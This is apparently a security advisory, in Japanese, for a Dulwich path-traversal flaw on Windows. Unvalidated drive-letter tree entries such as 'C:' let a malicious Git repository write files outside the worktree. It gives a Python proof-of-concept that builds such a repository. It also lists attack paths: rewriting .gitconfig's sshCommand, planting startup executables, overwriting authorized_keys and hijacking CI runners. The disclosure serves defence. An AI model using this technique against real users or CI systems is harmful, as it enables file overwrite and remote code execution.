Dulwich: Windows環境における、ツリーパス内の検証されていないドライブレターによる、任意のファイル書き込み(RCE)の脆弱性

### 影響を受けるファイル
* `dulwich/index.py` (メソッド: `validate_path_element_ntfs`, `_tree_to_fs_path`)
* `dulwich/porcelain/__init__.py` (メソッド: `_checked_worktree_path`)

### 説明 / 概要
Dulwichのチェックアウト処理において、Windows上でパスのトラバーサルに関する重大な脆弱性が存在します。NTFSパスの検証を担当する関数は、`.git`のバリエーション、代替データストリーム(ADS)、`git~1`の短いファイル名、および予約済みのデバイス名を厳密に拒否しますが、**DOSドライブレターのプレフィックス**については全くチェックを行いません。

悪意のあるGitリポジトリには、`C:`という名前のエントリが含まれている可能性があります。DulwichがWindowsクライアント上でこのリポジトリを処理すると、この文字列は`validate_path_element_ntfs`のチェックを通過します。その後、`_tree_to_fs_path`がこのパスを`os.path.join(root, b"C:\\\\Users\\\\...")`に渡します。

Windowsでは、`os.path.join`の第2引数に絶対ドライブレターが含まれている場合、`root`パスは完全に無視されます。その結果、Dulwichはリポジトリファイルを、意図されたGitワークツリーの外にある絶対パスに書き込みます。

標準的なC言語の`git`クライアントは、`path.c`の`has_dos_drive_prefix()`によってこれを明示的にブロックしていますが、Dulwichにはそのような保護機能がありません。Gitリポジトリはクロスプラットフォームであるため、攻撃者はLinux上で悪意のあるリポジトリを作成し、Windowsの被害者(またはCIランナー)がそれをクローンするのを待つことができます。

### 潜在的な影響
この脆弱性を悪用すると、攻撃者は**任意のファイル書き込み**を達成できます。これは、容易に**リモートコード実行(RCE)**や、被害者のWindowsマシン全体のシステム侵害に発展する可能性があります。

攻撃経路の例:
1. **Git設定の改ざん(リモートコード実行):** 悪意のある`C:\\Users\\<victim>\\.gitconfig`ファイルを書き込み、`core.sshCommand`を任意の実行ファイルに設定することで、ユーザーがGitを使用する際にリモートコードを実行させます。
2. **永続化(リモートコード実行):** 悪意のある実行ファイルを`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\`に配置します。
3. **SSH鍵の上書き:** `C:\\Users\\<victim>\\.ssh\\authorized_keys`に書き込みを行い、被害者がアクセスできるリモートサーバーを侵害します。
4. **CI/CDシステムの侵害:** WindowsベースのCI/CDランナー(例:GitHub Actions)が、悪意のあるプルリクエストを自動的にクローンした場合、ランナーが即座に侵害され、リポジトリの機密情報が漏洩する可能性があります。

### 実証コード
以下のPythonスクリプト(Linuxで実行可能)は、Windowsクライアントを標的とするペイロードを含む、悪意のあるGitリポジトリを生成します。

```python
from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

# 1. ペイロードのBlobを構築。
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

# 2. 悪意のあるツリー構造を構築:C:/Users/victim/evil.txt
evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

# 脆弱性: "C:"ディレクトリは検証を回避する
c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)
```

commit = Commit()
commit.tree = c_drive.id
commit.message = b"機能を追加"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"悪意のあるリポジトリが {repo_path} に作成されました。")
print(f"以下のコマンドでクローンできます: dulwich clone {repo_path} /target/win/worktree")
# 結果: このコミットのWindows版をチェックアウトすると、ペイロードが直接 C:\\Users\\victim\\evil.txt に書き込まれます。

影響を受けるパッケージ:
- pip (Python) dulwich: 影響あり (バージョン 1.2.9 未満)、1.2.9 で修正済み。